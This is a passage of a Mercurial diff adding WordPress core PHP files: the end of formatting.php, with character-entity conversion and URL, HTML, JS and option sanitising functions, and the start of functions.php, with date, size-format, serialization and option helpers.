'χ', + 'ψ' => 'ψ', + 'ω' => 'ω', + 'ϑ' => 'ϑ', + 'ϒ' => 'ϒ', + 'ϖ' => 'ϖ', + ' ' => ' ', + ' ' => ' ', + ' ' => ' ', + '‌' => '‌', + '‍' => '‍', + '‎' => '‎', + '‏' => '‏', + '–' => '–', + '—' => '—', + '‘' => '‘', + '’' => '’', + '‚' => '‚', + '“' => '“', + '”' => '”', + '„' => '„', + '†' => '†', + '‡' => '‡', + '•' => '•', + '…' => '…', + '‰' => '‰', + '′' => '′', + '″' => '″', + '‹' => '‹', + '›' => '›', + '‾' => '‾', + '⁄' => '⁄', + '€' => '€', + 'ℑ' => 'ℑ', + '℘' => '℘', + 'ℜ' => 'ℜ', + '™' => '™', + 'ℵ' => 'ℵ', + '↵' => '↵', + '⇐' => '⇐', + '⇑' => '⇑', + '⇒' => '⇒', + '⇓' => '⇓', + '⇔' => '⇔', + '∀' => '∀', + '∂' => '∂', + '∃' => '∃', + '∅' => '∅', + '∇' => '∇', + '∈' => '∈', + '∉' => '∉', + '∋' => '∋', + '∏' => '∏', + '∑' => '∑', + '−' => '−', + '∗' => '∗', + '√' => '√', + '∝' => '∝', + '∞' => '∞', + '∠' => '∠', + '∧' => '∧', + '∨' => '∨', + '∩' => '∩', + '∪' => '∪', + '∫' => '∫', + '∴' => '∴', + '∼' => '∼', + '≅' => '≅', + '≈' => '≈', + '≠' => '≠', + '≡' => '≡', + '≤' => '≤', + '≥' => '≥', + '⊂' => '⊂', + '⊃' => '⊃', + '⊄' => '⊄', + '⊆' => '⊆', + '⊇' => '⊇', + '⊕' => '⊕', + '⊗' => '⊗', + '⊥' => '⊥', + '⋅' => '⋅', + '⌈' => '⌈', + '⌉' => '⌉', + '⌊' => '⌊', + '⌋' => '⌋', + '⟨' => '〈', + '⟩' => '〉', + '←' => '←', + '↑' => '↑', + '→' => '→', + '↓' => '↓', + '↔' => '↔', + '◊' => '◊', + '♠' => '♠', + '♣' => '♣', + '♥' => '♥', + '♦' => '♦' + ); + + return str_replace( array_keys($to_ncr), array_values($to_ncr), $text ); +} + +/** + * Formats text for the rich text editor. + * + * The filter 'richedit_pre' is applied here. If $text is empty the filter will + * be applied to an empty string. + * + * @since 2.0.0 + * + * @param string $text The text to be formatted. + * @return string The formatted text after filter is applied. + */ +function wp_richedit_pre($text) { + // Filtering a blank results in an annoying <br />\n + if ( empty($text) ) return apply_filters('richedit_pre', ''); + + $output = convert_chars($text); + $output = wpautop($output); + $output = htmlspecialchars($output, ENT_NOQUOTES); + + return apply_filters('richedit_pre', $output); +} + +/** + * Formats text for the HTML editor. + * + * Unless $output is empty it will pass through htmlspecialchars before the + * 'htmledit_pre' filter is applied. + * + * @since 2.5.0 + * + * @param string $output The text to be formatted. + * @return string Formatted text after filter applied. + */ +function wp_htmledit_pre($output) { + if ( !empty($output) ) + $output = htmlspecialchars($output, ENT_NOQUOTES); // convert only < > & + + return apply_filters('htmledit_pre', $output); +} + +/** + * Checks and cleans a URL. + * + * A number of characters are removed from the URL. If the URL is for displaying + * (the default behaviour) amperstands are also replaced. The 'esc_url' filter + * is applied to the returned cleaned URL. + * + * @since 1.2.0 + * @uses wp_kses_bad_protocol() To only permit protocols in the URL set + * via $protocols or the common ones set in the function. + * + * @param string $url The URL to be cleaned. + * @param array $protocols Optional. An array of acceptable protocols. + * Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet' if not set. + * @param string $context Optional. How the URL will be used. Default is 'display'. + * @return string The cleaned $url after the 'cleaned_url' filter is applied. + */ +function clean_url( $url, $protocols = null, $context = 'display' ) { + $original_url = $url; + + if ('' == $url) return $url; + $url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'()\\x80-\\xff]|i', '', $url); + $strip = array('%0d', '%0a', '%0D', '%0A'); + $url = _deep_replace($strip, $url); + $url = str_replace(';//', '://', $url); + /* If the URL doesn't appear to contain a scheme, we + * presume it needs http:// appended (unless a relative + * link starting with / or a php file). + */ + if ( strpos($url, ':') === false && + substr( $url, 0, 1 ) != '/' && substr( $url, 0, 1 ) != '#' && !preg_match('/^[a-z0-9-]+?\.php/i', $url) ) + $url = 'http://' . $url; + + // Replace ampersands and single quotes only when displaying. + if ( 'display' == $context ) { + $url = preg_replace('/&([^#])(?![a-z]{2,8};)/', '&$1', $url); + $url = str_replace( "'", ''', $url ); + } + + if ( !is_array($protocols) ) + $protocols = array('http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet'); + if ( wp_kses_bad_protocol( $url, $protocols ) != $url ) + return ''; + + return apply_filters('clean_url', $url, $original_url, $context); +} + +/** + * Perform a deep string replace operation to ensure the values in $search are no longer present + * + * Repeats the replacement operation until it no longer replaces anything so as to remove "nested" values + * e.g. $subject = '%0%0%0DDD', $search ='%0D', $result ='' rather than the '%0%0DD' that + * str_replace would return + * + * @since 2.8.1 + * @access private + * + * @param string|array $search + * @param string $subject + * @return string The processed string + */ +function _deep_replace($search, $subject){ + $found = true; + while($found) { + $found = false; + foreach( (array) $search as $val ) { + while(strpos($subject, $val) !== false) { + $found = true; + $subject = str_replace($val, '', $subject); + } + } + } + + return $subject; +} + +/** + * Escapes data for use in a MySQL query + * + * This is just a handy shortcut for $wpdb->escape(), for completeness' sake + * + * @since 2.8.0 + * @param string $sql Unescaped SQL data + * @return string The cleaned $sql + */ +function esc_sql( $sql ) { + global $wpdb; + return $wpdb->escape( $sql ); +} + + +/** + * Checks and cleans a URL. + * + * A number of characters are removed from the URL. If the URL is for displaying + * (the default behaviour) amperstands are also replaced. The 'esc_url' filter + * is applied to the returned cleaned URL. + * + * @since 2.8.0 + * @uses esc_url() + * @uses wp_kses_bad_protocol() To only permit protocols in the URL set + * via $protocols or the common ones set in the function. + * + * @param string $url The URL to be cleaned. + * @param array $protocols Optional. An array of acceptable protocols. + * Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet' if not set. + * @return string The cleaned $url after the 'cleaned_url' filter is applied. + */ +function esc_url( $url, $protocols = null ) { + return clean_url( $url, $protocols, 'display' ); +} + +/** + * Performs esc_url() for database usage. + * + * @see esc_url() + * @see esc_url() + * + * @since 2.8.0 + * + * @param string $url The URL to be cleaned. + * @param array $protocols An array of acceptable protocols. + * @return string The cleaned URL. + */ +function esc_url_raw( $url, $protocols = null ) { + return clean_url( $url, $protocols, 'db' ); +} + +/** + * Performs esc_url() for database or redirect usage. + * + * @see esc_url() + * @deprecated 2.8.0 + * + * @since 2.3.1 + * + * @param string $url The URL to be cleaned. + * @param array $protocols An array of acceptable protocols. + * @return string The cleaned URL. + */ +function sanitize_url( $url, $protocols = null ) { + return clean_url( $url, $protocols, 'db' ); +} + +/** + * Convert entities, while preserving already-encoded entities. + * + * @link http://www.php.net/htmlentities Borrowed from the PHP Manual user notes. + * + * @since 1.2.2 + * + * @param string $myHTML The text to be converted. + * @return string Converted text. + */ +function htmlentities2($myHTML) { + $translation_table = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES ); + $translation_table[chr(38)] = '&'; + return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/", "&", strtr($myHTML, $translation_table) ); +} + +/** + * Escape single quotes, htmlspecialchar " < > &, and fix line endings. + * + * Escapes text strings for echoing in JS, both inline (for example in onclick="...") + * and inside <script> tag. Note that the strings have to be in single quotes. + * The filter 'js_escape' is also applied here. + * + * @since 2.8.0 + * + * @param string $text The text to be escaped. + * @return string Escaped text. + */ +function esc_js( $text ) { + $safe_text = wp_check_invalid_utf8( $text ); + $safe_text = _wp_specialchars( $safe_text, ENT_COMPAT ); + $safe_text = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", stripslashes( $safe_text ) ); + $safe_text = str_replace( "\r", '', $safe_text ); + $safe_text = str_replace( "\n", '\\n', addslashes( $safe_text ) ); + return apply_filters( 'js_escape', $safe_text, $text ); +} + +/** + * Escape single quotes, specialchar double quotes, and fix line endings. + * + * The filter 'js_escape' is also applied by esc_js() + * + * @since 2.0.4 + * + * @deprecated 2.8.0 + * @see esc_js() + * + * @param string $text The text to be escaped. + * @return string Escaped text. + */ +function js_escape( $text ) { + return esc_js( $text ); +} + +/** + * Escaping for HTML blocks. + * + * @since 2.8.0 + * + * @param string $text + * @return string + */ +function esc_html( $text ) { + $safe_text = wp_check_invalid_utf8( $text ); + $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES ); + return apply_filters( 'esc_html', $safe_text, $text ); +} + +/** + * Escaping for HTML blocks + * @deprecated 2.8.0 + * @see esc_html() + */ +function wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) { + if ( func_num_args() > 1 ) { // Maintain backwards compat for people passing additional args + $args = func_get_args(); + return call_user_func_array( '_wp_specialchars', $args ); + } else { + return esc_html( $string ); + } +} + +/** + * Escaping for HTML attributes. + * + * @since 2.8.0 + * + * @param string $text + * @return string + */ +function esc_attr( $text ) { + $safe_text = wp_check_invalid_utf8( $text ); + $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES ); + return apply_filters( 'attribute_escape', $safe_text, $text ); +} + +/** + * Escaping for HTML attributes. + * + * @since 2.0.6 + * + * @deprecated 2.8.0 + * @see esc_attr() + * + * @param string $text + * @return string + */ +function attribute_escape( $text ) { + return esc_attr( $text ); +} + +/** + * Escape a HTML tag name. + * + * @since 2.5.0 + * + * @param string $tag_name + * @return string + */ +function tag_escape($tag_name) { + $safe_tag = strtolower( preg_replace('/[^a-zA-Z_:]/', '', $tag_name) ); + return apply_filters('tag_escape', $safe_tag, $tag_name); +} + +/** + * Escapes text for SQL LIKE special characters % and _. + * + * @since 2.5.0 + * + * @param string $text The text to be escaped. + * @return string text, safe for inclusion in LIKE query. + */ +function like_escape($text) { + return str_replace(array("%", "_"), array("\\%", "\\_"), $text); +} + +/** + * Convert full URL paths to absolute paths. + * + * Removes the http or https protocols and the domain. Keeps the path '/' at the + * beginning, so it isn't a true relative link, but from the web root base. + * + * @since 2.1.0 + * + * @param string $link Full URL path. + * @return string Absolute path. + */ +function wp_make_link_relative( $link ) { + return preg_replace( '|https?://[^/]+(/.*)|i', '$1', $link ); +} + +/** + * Sanitises various option values based on the nature of the option. + * + * This is basically a switch statement which will pass $value through a number + * of functions depending on the $option. + * + * @since 2.0.5 + * + * @param string $option The name of the option. + * @param string $value The unsanitised value. + * @return string Sanitized value. + */ +function sanitize_option($option, $value) { + + switch ($option) { + case 'admin_email': + $value = sanitize_email($value); + break; + + case 'thumbnail_size_w': + case 'thumbnail_size_h': + case 'medium_size_w': + case 'medium_size_h': + case 'large_size_w': + case 'large_size_h': + case 'embed_size_h': + case 'default_post_edit_rows': + case 'mailserver_port': + case 'comment_max_links': + case 'page_on_front': + case 'rss_excerpt_length': + case 'default_category': + case 'default_email_category': + case 'default_link_category': + case 'close_comments_days_old': + case 'comments_per_page': + case 'thread_comments_depth': + case 'users_can_register': + $value = absint( $value ); + break; + + case 'embed_size_w': + if ( '' !== $value ) + $value = absint( $value ); + break; + + case 'posts_per_page': + case 'posts_per_rss': + $value = (int) $value; + if ( empty($value) ) $value = 1; + if ( $value < -1 ) $value = abs($value); + break; + + case 'default_ping_status': + case 'default_comment_status': + // Options that if not there have 0 value but need to be something like "closed" + if ( $value == '0' || $value == '') + $value = 'closed'; + break; + + case 'blogdescription': + case 'blogname': + $value = addslashes($value); + $value = wp_filter_post_kses( $value ); // calls stripslashes then addslashes + $value = stripslashes($value); + $value = esc_html( $value ); + break; + + case 'blog_charset': + $value = preg_replace('/[^a-zA-Z0-9_-]/', '', $value); // strips slashes + break; + + case 'date_format': + case 'time_format': + case 'mailserver_url': + case 'mailserver_login': + case 'mailserver_pass': + case 'ping_sites': + case 'upload_path': + $value = strip_tags($value); + $value = addslashes($value); + $value = wp_filter_kses($value); // calls stripslashes then addslashes + $value = stripslashes($value); + break; + + case 'gmt_offset': + $value = preg_replace('/[^0-9:.-]/', '', $value); // strips slashes + break; + + case 'siteurl': + case 'home': + $value = stripslashes($value); + $value = esc_url($value); + break; + default : + $value = apply_filters("sanitize_option_{$option}", $value, $option); + break; + } + + return $value; +} + +/** + * Parses a string into variables to be stored in an array. + * + * Uses {@link http://www.php.net/parse_str parse_str()} and stripslashes if + * {@link http://www.php.net/magic_quotes magic_quotes_gpc} is on. + * + * @since 2.2.1 + * @uses apply_filters() for the 'wp_parse_str' filter. + * + * @param string $string The string to be parsed. + * @param array $array Variables will be stored in this array. + */ +function wp_parse_str( $string, &$array ) { + parse_str( $string, $array ); + if ( get_magic_quotes_gpc() ) + $array = stripslashes_deep( $array ); + $array = apply_filters( 'wp_parse_str', $array ); +} + +/** + * Convert lone less than signs. + * + * KSES already converts lone greater than signs. + * + * @uses wp_pre_kses_less_than_callback in the callback function. + * @since 2.3.0 + * + * @param string $text Text to be converted. + * @return string Converted text. + */ +function wp_pre_kses_less_than( $text ) { + return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', 'wp_pre_kses_less_than_callback', $text); +} + +/** + * Callback function used by preg_replace. + * + * @uses esc_html to format the $matches text. + * @since 2.3.0 + * + * @param array $matches Populated by matches to preg_replace. + * @return string The text returned after esc_html if needed. + */ +function wp_pre_kses_less_than_callback( $matches ) { + if ( false === strpos($matches[0], '>') ) + return esc_html($matches[0]); + return $matches[0]; +} + +/** + * WordPress implementation of PHP sprintf() with filters. + * + * @since 2.5.0 + * @link http://www.php.net/sprintf + * + * @param string $pattern The string which formatted args are inserted. + * @param mixed $args,... Arguments to be formatted into the $pattern string. + * @return string The formatted string. + */ +function wp_sprintf( $pattern ) { + $args = func_get_args( ); + $len = strlen($pattern); + $start = 0; + $result = ''; + $arg_index = 0; + while ( $len > $start ) { + // Last character: append and break + if ( strlen($pattern) - 1 == $start ) { + $result .= substr($pattern, -1); + break; + } + + // Literal %: append and continue + if ( substr($pattern, $start, 2) == '%%' ) { + $start += 2; + $result .= '%'; + continue; + } + + // Get fragment before next % + $end = strpos($pattern, '%', $start + 1); + if ( false === $end ) + $end = $len; + $fragment = substr($pattern, $start, $end - $start); + + // Fragment has a specifier + if ( $pattern{$start} == '%' ) { + // Find numbered arguments or take the next one in order + if ( preg_match('/^%(\d+)\$/', $fragment, $matches) ) { + $arg = isset($args[$matches[1]]) ? $args[$matches[1]] : ''; + $fragment = str_replace("%{$matches[1]}$", '%', $fragment); + } else { + ++$arg_index; + $arg = isset($args[$arg_index]) ? $args[$arg_index] : ''; + } + + // Apply filters OR sprintf + $_fragment = apply_filters( 'wp_sprintf', $fragment, $arg ); + if ( $_fragment != $fragment ) + $fragment = $_fragment; + else + $fragment = sprintf($fragment, strval($arg) ); + } + + // Append to result and move to next fragment + $result .= $fragment; + $start = $end; + } + return $result; +} + +/** + * Localize list items before the rest of the content. + * + * The '%l' must be at the first characters can then contain the rest of the + * content. The list items will have ', ', ', and', and ' and ' added depending + * on the amount of list items in the $args parameter. + * + * @since 2.5.0 + * + * @param string $pattern Content containing '%l' at the beginning. + * @param array $args List items to prepend to the content and replace '%l'. + * @return string Localized list items and rest of the content. + */ +function wp_sprintf_l($pattern, $args) { + // Not a match + if ( substr($pattern, 0, 2) != '%l' ) + return $pattern; + + // Nothing to work with + if ( empty($args) ) + return ''; + + // Translate and filter the delimiter set (avoid ampersands and entities here) + $l = apply_filters('wp_sprintf_l', array( + /* translators: used between list items, there is a space after the coma */ + 'between' => __(', '), + /* translators: used between list items, there is a space after the and */ + 'between_last_two' => __(', and '), + /* translators: used between only two list items, there is a space after the and */ + 'between_only_two' => __(' and '), + )); + + $args = (array) $args; + $result = array_shift($args); + if ( count($args) == 1 ) + $result .= $l['between_only_two'] . array_shift($args); + // Loop when more than two args + $i = count($args); + while ( $i ) { + $arg = array_shift($args); + $i--; + if ( 0 == $i ) + $result .= $l['between_last_two'] . $arg; + else + $result .= $l['between'] . $arg; + } + return $result . substr($pattern, 2); +} + +/** + * Safely extracts not more than the first $count characters from html string. + * + * UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT* + * be counted as one character. For example & will be counted as 4, < as + * 3, etc. + * + * @since 2.5.0 + * + * @param integer $str String to get the excerpt from. + * @param integer $count Maximum number of characters to take. + * @return string The excerpt. + */ +function wp_html_excerpt( $str, $count ) { + $str = wp_strip_all_tags( $str, true ); + $str = mb_substr( $str, 0, $count ); + // remove part of an entity at the end + $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); + return $str; +} + +/** + * Add a Base url to relative links in passed content. + * + * By default it supports the 'src' and 'href' attributes. However this can be + * changed via the 3rd param. + * + * @since 2.7.0 + * + * @param string $content String to search for links in. + * @param string $base The base URL to prefix to links. + * @param array $attrs The attributes which should be processed. + * @return string The processed content. + */ +function links_add_base_url( $content, $base, $attrs = array('src', 'href') ) { + $attrs = implode('|', (array)$attrs); + return preg_replace_callback("!($attrs)=(['\"])(.+?)\\2!i", + create_function('$m', 'return _links_add_base($m, "' . $base . '");'), + $content); +} + +/** + * Callback to add a base url to relative links in passed content. + * + * @since 2.7.0 + * @access private + * + * @param string $m The matched link. + * @param string $base The base URL to prefix to links. + * @return string The processed link. + */ +function _links_add_base($m, $base) { + //1 = attribute name 2 = quotation mark 3 = URL + return $m[1] . '=' . $m[2] . + (strpos($m[3], 'http://') === false ? + path_join($base, $m[3]) : + $m[3]) + . $m[2]; +} + +/** + * Adds a Target attribute to all links in passed content. + * + * This function by default only applies to <a> tags, however this can be + * modified by the 3rd param. + * + * <b>NOTE:</b> Any current target attributed will be striped and replaced. + * + * @since 2.7.0 + * + * @param string $content String to search for links in. + * @param string $target The Target to add to the links. + * @param array $tags An array of tags to apply to. + * @return string The processed content. + */ +function links_add_target( $content, $target = '_blank', $tags = array('a') ) { + $tags = implode('|', (array)$tags); + return preg_replace_callback("!<($tags)(.+?)>!i", + create_function('$m', 'return _links_add_target($m, "' . $target . '");'), + $content); +} + +/** + * Callback to add a target attribute to all links in passed content. + * + * @since 2.7.0 + * @access private + * + * @param string $m The matched link. + * @param string $target The Target to add to the links. + * @return string The processed link. + */ +function _links_add_target( $m, $target ) { + $tag = $m[1]; + $link = preg_replace('|(target=[\'"](.*?)[\'"])|i', '', $m[2]); + return '<' . $tag . $link . ' target="' . $target . '">'; +} + +// normalize EOL characters and strip duplicate whitespace +function normalize_whitespace( $str ) { + $str = trim($str); + $str = str_replace("\r", "\n", $str); + $str = preg_replace( array( '/\n+/', '/[ \t]+/' ), array( "\n", ' ' ), $str ); + return $str; +} + +/** + * Properly strip all HTML tags including script and style + * + * @since 2.9.0 + * + * @param string $string String containing HTML tags + * @param bool $remove_breaks optional Whether to remove left over line breaks and white space chars + * @return string The processed string. + */ +function wp_strip_all_tags($string, $remove_breaks = false) { + $string = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $string ); + $string = strip_tags($string); + + if ( $remove_breaks ) + $string = preg_replace('/[\r\n\t ]+/', ' ', $string); + + return trim($string); +} + +/** + * Sanitize a string from user input or from the db + * + * check for invalid UTF-8, + * Convert single < characters to entity, + * strip all tags, + * remove line breaks, tabs and extra whitre space, + * strip octets. + * + * @since 2.9 + * + * @param string $str + * @return string + */ +function sanitize_text_field($str) { + $filtered = wp_check_invalid_utf8( $str ); + + if ( strpos($filtered, '<') !== false ) { + $filtered = wp_pre_kses_less_than( $filtered ); + $filtered = wp_strip_all_tags( $filtered, true ); + } else { + $filtered = trim( preg_replace('/[\r\n\t ]+/', ' ', $filtered) ); + } + + $match = array(); + while ( preg_match('/%[a-f0-9]{2}/i', $filtered, $match) ) + $filtered = str_replace($match[0], '', $filtered); + + return apply_filters('sanitize_text_field', $filtered, $str); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3640 @@ +<?php +/** + * Main WordPress API + * + * @package WordPress + */ + +/** + * Converts MySQL DATETIME field to user specified date format. + * + * If $dateformatstring has 'G' value, then gmmktime() function will be used to + * make the time. If $dateformatstring is set to 'U', then mktime() function + * will be used to make the time. + * + * The $translate will only be used, if it is set to true and it is by default + * and if the $wp_locale object has the month and weekday set. + * + * @since 0.71 + * + * @param string $dateformatstring Either 'G', 'U', or php date format. + * @param string $mysqlstring Time from mysql DATETIME field. + * @param bool $translate Optional. Default is true. Will switch format to locale. + * @return string Date formated by $dateformatstring or locale (if available). + */ +function mysql2date( $dateformatstring, $mysqlstring, $translate = true ) { + global $wp_locale; + $m = $mysqlstring; + if ( empty( $m ) ) + return false; + + if( 'G' == $dateformatstring ) { + return strtotime( $m . ' +0000' ); + } + + $i = strtotime( $m ); + + if( 'U' == $dateformatstring ) + return $i; + + if ( $translate) + return date_i18n( $dateformatstring, $i ); + else + return date( $dateformatstring, $i ); +} + +/** + * Retrieve the current time based on specified type. + * + * The 'mysql' type will return the time in the format for MySQL DATETIME field. + * The 'timestamp' type will return the current timestamp. + * + * If $gmt is set to either '1' or 'true', then both types will use GMT time. + * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option. + * + * @since 1.0.0 + * + * @param string $type Either 'mysql' or 'timestamp'. + * @param int|bool $gmt Optional. Whether to use GMT timezone. Default is false. + * @return int|string String if $type is 'gmt', int if $type is 'timestamp'. + */ +function current_time( $type, $gmt = 0 ) { + switch ( $type ) { + case 'mysql': + return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * 3600 ) ) ); + break; + case 'timestamp': + return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * 3600 ); + break; + } +} + +/** + * Retrieve the date in localized format, based on timestamp. + * + * If the locale specifies the locale month and weekday, then the locale will + * take over the format for the date. If it isn't, then the date format string + * will be used instead. + * + * @since 0.71 + * + * @param string $dateformatstring Format to display the date. + * @param int $unixtimestamp Optional. Unix timestamp. + * @param bool $gmt Optional, default is false. Whether to convert to GMT for time. + * @return string The date, translated if locale specifies it. + */ +function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) { + global $wp_locale; + $i = $unixtimestamp; + // Sanity check for PHP 5.1.0- + if ( false === $i || intval($i) < 0 ) { + if ( ! $gmt ) + $i = current_time( 'timestamp' ); + else + $i = time(); + // we should not let date() interfere with our + // specially computed timestamp + $gmt = true; + } + + // store original value for language with untypical grammars + // see http://core.trac.wordpress.org/ticket/9396 + $req_format = $dateformatstring; + + $datefunc = $gmt? 'gmdate' : 'date'; + + if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) { + $datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) ); + $datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth ); + $dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) ); + $dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday ); + $datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) ); + $datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) ); + $dateformatstring = ' '.$dateformatstring; + $dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring ); + $dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring ); + $dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring ); + $dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring ); + $dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring ); + $dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring ); + + $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 ); + } + $j = @$datefunc( $dateformatstring, $i ); + // allow plugins to redo this entirely for languages with untypical grammars + $j = apply_filters('date_i18n', $j, $req_format, $i, $gmt); + return $j; +} + +/** + * Convert number to format based on the locale. + * + * @since 2.3.0 + * + * @param mixed $number The number to convert based on locale. + * @param int $decimals Precision of the number of decimal places. + * @return string Converted number in string format. + */ +function number_format_i18n( $number, $decimals = null ) { + global $wp_locale; + // let the user override the precision only + $decimals = ( is_null( $decimals ) ) ? $wp_locale->number_format['decimals'] : intval( $decimals ); + + $num = number_format( $number, $decimals, $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] ); + + // let the user translate digits from latin to localized language + return apply_filters( 'number_format_i18n', $num ); +} + +/** + * Convert number of bytes largest unit bytes will fit into. + * + * It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts + * number of bytes to human readable number by taking the number of that unit + * that the bytes will go into it. Supports TB value. + * + * Please note that integers in PHP are limited to 32 bits, unless they are on + * 64 bit architecture, then they have 64 bit size. If you need to place the + * larger size then what PHP integer type will hold, then use a string. It will + * be converted to a double, which should always have 64 bit length. + * + * Technically the correct unit names for powers of 1024 are KiB, MiB etc. + * @link http://en.wikipedia.org/wiki/Byte + * + * @since 2.3.0 + * + * @param int|string $bytes Number of bytes. Note max integer size for integers. + * @param int $decimals Precision of number of decimal places. + * @return bool|string False on failure. Number string on success. + */ +function size_format( $bytes, $decimals = null ) { + $quant = array( + // ========================= Origin ==== + 'TB' => 1099511627776, // pow( 1024, 4) + 'GB' => 1073741824, // pow( 1024, 3) + 'MB' => 1048576, // pow( 1024, 2) + 'kB' => 1024, // pow( 1024, 1) + 'B ' => 1, // pow( 1024, 0) + ); + + foreach ( $quant as $unit => $mag ) + if ( doubleval($bytes) >= $mag ) + return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit; + + return false; +} + +/** + * Get the week start and end from the datetime or date string from mysql. + * + * @since 0.71 + * + * @param string $mysqlstring Date or datetime field type from mysql. + * @param int $start_of_week Optional. Start of the week as an integer. + * @return array Keys are 'start' and 'end'. + */ +function get_weekstartend( $mysqlstring, $start_of_week = '' ) { + $my = substr( $mysqlstring, 0, 4 ); // Mysql string Year + $mm = substr( $mysqlstring, 8, 2 ); // Mysql string Month + $md = substr( $mysqlstring, 5, 2 ); // Mysql string day + $day = mktime( 0, 0, 0, $md, $mm, $my ); // The timestamp for mysqlstring day. + $weekday = date( 'w', $day ); // The day of the week from the timestamp + $i = 86400; // One day + if( !is_numeric($start_of_week) ) + $start_of_week = get_option( 'start_of_week' ); + + if ( $weekday < $start_of_week ) + $weekday = 7 - $start_of_week - $weekday; + + while ( $weekday > $start_of_week ) { + $weekday = date( 'w', $day ); + if ( $weekday < $start_of_week ) + $weekday = 7 - $start_of_week - $weekday; + + $day -= 86400; + $i = 0; + } + $week['start'] = $day + 86400 - $i; + $week['end'] = $week['start'] + 604799; + return $week; +} + +/** + * Unserialize value only if it was serialized. + * + * @since 2.0.0 + * + * @param string $original Maybe unserialized original, if is needed. + * @return mixed Unserialized data can be any type. + */ +function maybe_unserialize( $original ) { + if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in + return @unserialize( $original ); + return $original; +} + +/** + * Check value to find if it was serialized. + * + * If $data is not an string, then returned value will always be false. + * Serialized data is always a string. + * + * @since 2.0.5 + * + * @param mixed $data Value to check to see if was serialized. + * @return bool False if not serialized and true if it was. + */ +function is_serialized( $data ) { + // if it isn't a string, it isn't serialized + if ( !is_string( $data ) ) + return false; + $data = trim( $data ); + if ( 'N;' == $data ) + return true; + if ( !preg_match( '/^([adObis]):/', $data, $badions ) ) + return false; + switch ( $badions[1] ) { + case 'a' : + case 'O' : + case 's' : + if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) ) + return true; + break; + case 'b' : + case 'i' : + case 'd' : + if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) ) + return true; + break; + } + return false; +} + +/** + * Check whether serialized data is of string type. + * + * @since 2.0.5 + * + * @param mixed $data Serialized data + * @return bool False if not a serialized string, true if it is. + */ +function is_serialized_string( $data ) { + // if it isn't a string, it isn't a serialized string + if ( !is_string( $data ) ) + return false; + $data = trim( $data ); + if ( preg_match( '/^s:[0-9]+:.*;$/s', $data ) ) // this should fetch all serialized strings + return true; + return false; +} + +/** + * Retrieve option value based on setting name. + * + * If the option does not exist or does not have a value, then the return value + * will be false. This is useful to check whether you need to install an option + * and is commonly used during installation of plugin options and to test + * whether upgrading is required. + * + * You can "short-circuit" the retrieval of the option from the database for + * your plugin or core options that aren't protected. You can do so by hooking + * into the 'pre_option_$option' with the $option being replaced by the option + * name. You should not try to override special options, but you will not be + * prevented from doing so. + * + * There is a second filter called 'option_$option' with the $option being + * replaced with the option name. This gives the value as the only parameter. + * + * If the option was serialized, when the option was added and, or updated, then + * it will be unserialized, when it is returned. + * + * @since 1.5.0 + * @package WordPress + * @subpackage Option + * @uses apply_filters() Calls 'pre_option_$optionname' false to allow + * overwriting the option value in a plugin. + * @uses apply_filters() Calls 'option_$optionname' with the option name value. + * + * @param string $setting Name of option to retrieve. Should already be SQL-escaped + * @return mixed Value set for the option. + */ +function get_option( $setting, $default = false ) { + global $wpdb; + + // Allow plugins to short-circuit options. + $pre = apply_filters( 'pre_option_' . $setting, false ); + if ( false !== $pre ) + return $pre; + + // prevent non-existent options from triggering multiple queries + $notoptions = wp_cache_get( 'notoptions', 'options' ); + if ( isset( $notoptions[$setting] ) ) + return $default; + + $alloptions = wp_load_alloptions(); + + if ( isset( $alloptions[$setting] ) ) { + $value = $alloptions[$setting]; + } else { + $value = wp_cache_get( 